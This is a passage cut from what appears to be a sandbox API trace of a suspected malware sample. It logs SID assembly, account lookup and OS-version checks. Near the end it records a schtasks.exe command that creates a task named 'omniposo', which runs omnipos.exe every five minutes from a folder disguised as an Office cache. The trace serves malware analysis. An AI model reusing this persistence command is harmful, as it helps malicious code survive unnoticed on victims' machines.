(_Block=0x196ef0d1e60) [0113.902] free (_Block=0x196ef0d1b40) [0113.902] GetSidSubAuthority (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0f2c [0113.902] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0113.902] malloc (_Size=0x18) returned 0x196ef0d20e0 [0113.902] malloc (_Size=0x18) returned 0x196ef0d1be0 [0113.902] SysStringLen (param_1="S-1-5-21") returned 0x8 [0113.902] SysStringLen (param_1="-") returned 0x1 [0113.902] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7c75b8, _Size=0x12 | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0113.907] memcpy (in: _Dst=0x196ee7aa848, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aa848) returned 0x196ee7aa848 [0113.907] free (_Block=0x196ef0d1d60) [0113.907] free (_Block=0x196ef0d20e0) [0113.907] malloc (_Size=0x18) returned 0x196ef0d1980 [0113.907] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0113.907] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0113.907] SysStringLen (param_1="1560258661") returned 0xa [0113.907] memcpy (in: _Dst=0x196ee777a78, _Src=0x196ee7aa838, _Size=0x14 | out: _Dst=0x196ee777a78) returned 0x196ee777a78 [0113.907] memcpy (in: _Dst=0x196ee777a8a, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee777a8a) returned 0x196ee777a8a [0113.907] free (_Block=0x196ef0d1be0) [0113.907] free (_Block=0x196ef0d1980) [0113.908] GetSidSubAuthority (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0f30 [0113.908] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0113.908] malloc (_Size=0x18) returned 0x196ef0d1e60 [0113.908] malloc (_Size=0x18) returned 0x196ef0d1960 [0113.908] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0113.908] SysStringLen (param_1="-") returned 0x1 [0113.908] memcpy (in: _Dst=0x196ee777de8, _Src=0x196ee777a78, _Size=0x28 | out: _Dst=0x196ee777de8) returned 0x196ee777de8 [0113.908] memcpy (in: _Dst=0x196ee777e0e, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee777e0e) returned 0x196ee777e0e [0113.908] free (_Block=0x196ef0d1ea0) [0113.908] free (_Block=0x196ef0d1e60) [0113.908] malloc (_Size=0x18) returned 0x196ef0d1a60 [0113.908] malloc (_Size=0x18) returned 0x196ef0d1f80 [0113.908] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0113.908] SysStringLen (param_1="3990802383") returned 0xa [0113.908] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777de8, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0113.908] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7aa838, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0113.908] free (_Block=0x196ef0d1960) [0113.908] free (_Block=0x196ef0d1a60) [0113.908] GetSidSubAuthority (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0f34 [0113.908] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0113.908] malloc (_Size=0x18) returned 0x196ef0d1f20 [0113.909] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0113.909] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0113.909] SysStringLen (param_1="-") returned 0x1 [0113.909] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0113.909] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0113.909] free (_Block=0x196ef0d1f80) [0113.909] free (_Block=0x196ef0d1f20) [0113.909] malloc (_Size=0x18) returned 0x196ef0d20e0 [0113.909] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0113.909] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0113.909] SysStringLen (param_1="1811730007") returned 0xa [0113.909] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0113.909] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7aa838, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0113.909] free (_Block=0x196ef0d1ca0) [0113.909] free (_Block=0x196ef0d20e0) [0113.909] GetSidSubAuthority (pSid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0f38 [0113.909] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0113.909] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0113.909] malloc (_Size=0x18) returned 0x196ef0d1b40 [0113.909] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0113.909] SysStringLen (param_1="-") returned 0x1 [0113.910] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0113.910] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0113.910] free (_Block=0x196ef0d1ac0) [0113.910] free (_Block=0x196ef0d1ce0) [0113.910] malloc (_Size=0x18) returned 0x196ef0d1c00 [0113.910] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0113.910] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0113.910] SysStringLen (param_1="1000") returned 0x4 [0113.910] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0113.910] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7aa838, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0113.910] free (_Block=0x196ef0d1b40) [0113.910] free (_Block=0x196ef0d1c00) [0113.910] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0113.910] malloc (_Size=0x5e) returned 0x196ef0d0610 [0113.910] free (_Block=0x196ef0d1fa0) [0113.910] malloc (_Size=0x18) returned 0x196ef0d1de0 [0113.911] free (_Block=0x196ef0d0610) [0113.911] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0113.913] GetLastError () returned 0x7a [0113.913] malloc (_Size=0x1a) returned 0x196ef0f9c70 [0113.913] malloc (_Size=0xe) returned 0x196ef0d1ac0 [0113.913] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0f20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9c70, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ac0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0113.914] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0113.914] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0113.914] free (_Block=0x196ef0f9c70) [0113.914] free (_Block=0x196ef0d1ac0) [0113.914] free (_Block=0x196ef0f9ac0) [0113.914] free (_Block=0x196ef0d1ba0) [0113.914] free (_Block=0x196ef0d1fa0) [0113.914] free (_Block=0x196ef0d1de0) [0113.916] free (_Block=0x196ef0d0f10) [0113.916] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0113.916] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0113.916] GetLastError () returned 0x7a [0113.916] malloc (_Size=0x2c) returned 0x196ef0d1610 [0113.916] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1610, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1610, ReturnLength=0x67117c740) returned 1 [0113.916] IsValidSid (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0113.916] GetLengthSid (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0113.916] malloc (_Size=0x1c) returned 0x196ef0f9fa0 [0113.917] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9fa0, pSourceSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0113.917] GetSidIdentifierAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1622 [0113.917] malloc (_Size=0x18) returned 0x196ef0d20e0 [0113.917] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0113.917] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0113.917] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0113.917] SysStringLen (param_1="S-1-") returned 0x4 [0113.917] SysStringLen (param_1="5") returned 0x1 [0113.917] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aa838, _Size=0xa | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0113.917] memcpy (in: _Dst=0x196ee7c75c0, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7c75c0) returned 0x196ee7c75c0 [0113.917] free (_Block=0x196ef0d20e0) [0113.917] free (_Block=0x196ef0d1ac0) [0113.917] GetSidSubAuthorityCount (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1621 [0113.917] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1628 [0113.917] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0113.917] malloc (_Size=0x18) returned 0x196ef0d1f40 [0113.917] malloc (_Size=0x18) returned 0x196ef0d1a40 [0113.917] SysStringLen (param_1="S-1-5") returned 0x5 [0113.917] SysStringLen (param_1="-") returned 0x1 [0113.917] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7c75b8, _Size=0xc | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0113.917] memcpy (in: _Dst=0x196ee7aaa52, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aaa52) returned 0x196ee7aaa52 [0113.918] free (_Block=0x196ef0d1ae0) [0113.918] free (_Block=0x196ef0d1f40) [0113.918] malloc (_Size=0x18) returned 0x196ef0d2040 [0113.918] malloc (_Size=0x18) returned 0x196ef0d2020 [0113.918] SysStringLen (param_1="S-1-5-") returned 0x6 [0113.918] SysStringLen (param_1="21") returned 0x2 [0113.918] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7aaa48, _Size=0xe | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0113.918] memcpy (in: _Dst=0x196ee7aa844, _Src=0x196ee7c75b8, _Size=0x6 | out: _Dst=0x196ee7aa844) returned 0x196ee7aa844 [0113.918] free (_Block=0x196ef0d1a40) [0113.918] free (_Block=0x196ef0d2040) [0113.918] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d162c [0113.918] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0113.921] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0113.921] malloc (_Size=0x18) returned 0x196ef0d1b40 [0113.921] SysStringLen (param_1="S-1-5-21") returned 0x8 [0113.921] SysStringLen (param_1="-") returned 0x1 [0113.921] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aa838, _Size=0x12 | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0113.921] memcpy (in: _Dst=0x196ee7c75c8, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7c75c8) returned 0x196ee7c75c8 [0113.921] free (_Block=0x196ef0d2020) [0113.921] free (_Block=0x196ef0d1ec0) [0113.921] malloc (_Size=0x18) returned 0x196ef0d1e20 [0113.921] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0113.921] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0113.921] SysStringLen (param_1="1560258661") returned 0xa [0113.921] memcpy (in: _Dst=0x196ee777a78, _Src=0x196ee7c75b8, _Size=0x14 | out: _Dst=0x196ee777a78) returned 0x196ee777a78 [0113.921] memcpy (in: _Dst=0x196ee777a8a, _Src=0x196ee7aa838, _Size=0x16 | out: _Dst=0x196ee777a8a) returned 0x196ee777a8a [0113.921] free (_Block=0x196ef0d1b40) [0113.921] free (_Block=0x196ef0d1e20) [0113.922] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1630 [0113.922] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0113.922] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0113.922] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0113.922] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0113.922] SysStringLen (param_1="-") returned 0x1 [0113.922] memcpy (in: _Dst=0x196ee777de8, _Src=0x196ee777a78, _Size=0x28 | out: _Dst=0x196ee777de8) returned 0x196ee777de8 [0113.922] memcpy (in: _Dst=0x196ee777e0e, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee777e0e) returned 0x196ee777e0e [0113.922] free (_Block=0x196ef0d1ca0) [0113.922] free (_Block=0x196ef0d1ba0) [0113.922] malloc (_Size=0x18) returned 0x196ef0d2000 [0113.922] malloc (_Size=0x18) returned 0x196ef0d1f60 [0113.922] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0113.922] SysStringLen (param_1="3990802383") returned 0xa [0113.922] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777de8, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0113.922] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0113.922] free (_Block=0x196ef0d1ce0) [0113.922] free (_Block=0x196ef0d2000) [0113.922] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1634 [0113.922] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0113.922] malloc (_Size=0x18) returned 0x196ef0d1980 [0113.923] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0113.923] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0113.923] SysStringLen (param_1="-") returned 0x1 [0113.923] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0113.923] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0113.923] free (_Block=0x196ef0d1f60) [0113.923] free (_Block=0x196ef0d1980) [0113.923] malloc (_Size=0x18) returned 0x196ef0d1e20 [0113.923] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0113.923] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0113.923] SysStringLen (param_1="1811730007") returned 0xa [0113.923] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0113.923] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0113.923] free (_Block=0x196ef0d1ac0) [0113.923] free (_Block=0x196ef0d1e20) [0113.923] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1638 [0113.923] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0113.923] malloc (_Size=0x18) returned 0x196ef0d1c40 [0113.923] malloc (_Size=0x18) returned 0x196ef0d19e0 [0113.923] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0113.923] SysStringLen (param_1="-") returned 0x1 [0113.923] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0113.923] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0113.924] free (_Block=0x196ef0d1fe0) [0113.924] free (_Block=0x196ef0d1c40) [0113.924] malloc (_Size=0x18) returned 0x196ef0d2040 [0113.924] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0113.924] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0113.924] SysStringLen (param_1="1000") returned 0x4 [0113.924] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0113.924] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7c75b8, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0113.924] free (_Block=0x196ef0d19e0) [0113.924] free (_Block=0x196ef0d2040) [0113.924] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0113.924] malloc (_Size=0x5e) returned 0x196ef0d0450 [0113.924] free (_Block=0x196ef0d1ae0) [0113.924] malloc (_Size=0x18) returned 0x196ef0d19e0 [0113.925] free (_Block=0x196ef0d0450) [0113.925] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0113.926] GetLastError () returned 0x7a [0113.926] malloc (_Size=0x1a) returned 0x196ef0f9b50 [0113.926] malloc (_Size=0xe) returned 0x196ef0d20a0 [0113.926] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9b50, cchName=0x67117c600, ReferencedDomainName=0x196ef0d20a0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0113.927] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0113.927] malloc (_Size=0x18) returned 0x196ef0d2080 [0113.927] free (_Block=0x196ef0f9b50) [0113.927] free (_Block=0x196ef0d20a0) [0113.927] free (_Block=0x196ef0f9fa0) [0113.927] free (_Block=0x196ef0d2080) [0113.927] free (_Block=0x196ef0d1ec0) [0113.927] free (_Block=0x196ef0d19e0) [0113.928] free (_Block=0x196ef0d1610) [0113.929] SetEvent (hEvent=0x248) returned 1 [0113.929] free (_Block=0x196ef0d5500) [0113.929] CreateEnvironmentBlock () returned 0x1 [0113.946] malloc (_Size=0x18) returned 0x196ef0d1d00 [0113.946] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 5 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x5f4, dwThreadId=0x6ac)) returned 1 [0113.956] CloseHandle (hObject=0x260) returned 1 [0113.956] CloseHandle (hObject=0x264) returned 1 [0113.957] free (_Block=0x196ef0d1d00) [0113.957] DestroyEnvironmentBlock () returned 0x1 [0113.957] malloc (_Size=0x48) returned 0x196ef0d5780 [0113.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x24c74020, dwHighDateTime=0x1d9eb0c)) [0113.957] SetEvent (hEvent=0x248) returned 1 [0113.958] CloseHandle (hObject=0x270) returned 1 [0113.958] CloseHandle (hObject=0x26c) returned 1 [0113.962] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0113.962] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0113.962] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0113.962] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0114.856] RtlRestoreLastWin32Error () returned 0x670dbf000 [0114.856] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0114.856] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0114.856] RtlRestoreLastWin32Error () returned 0x670dbf000 [0114.856] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10) returned 1 [0114.856] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0114.856] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0114.856] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0114.856] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0114.856] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0114.865] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0114.866] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0114.866] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0114.866] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0114.866] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0114.869] GetCurrentThread () returned 0xfffffffffffffffe [0114.869] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 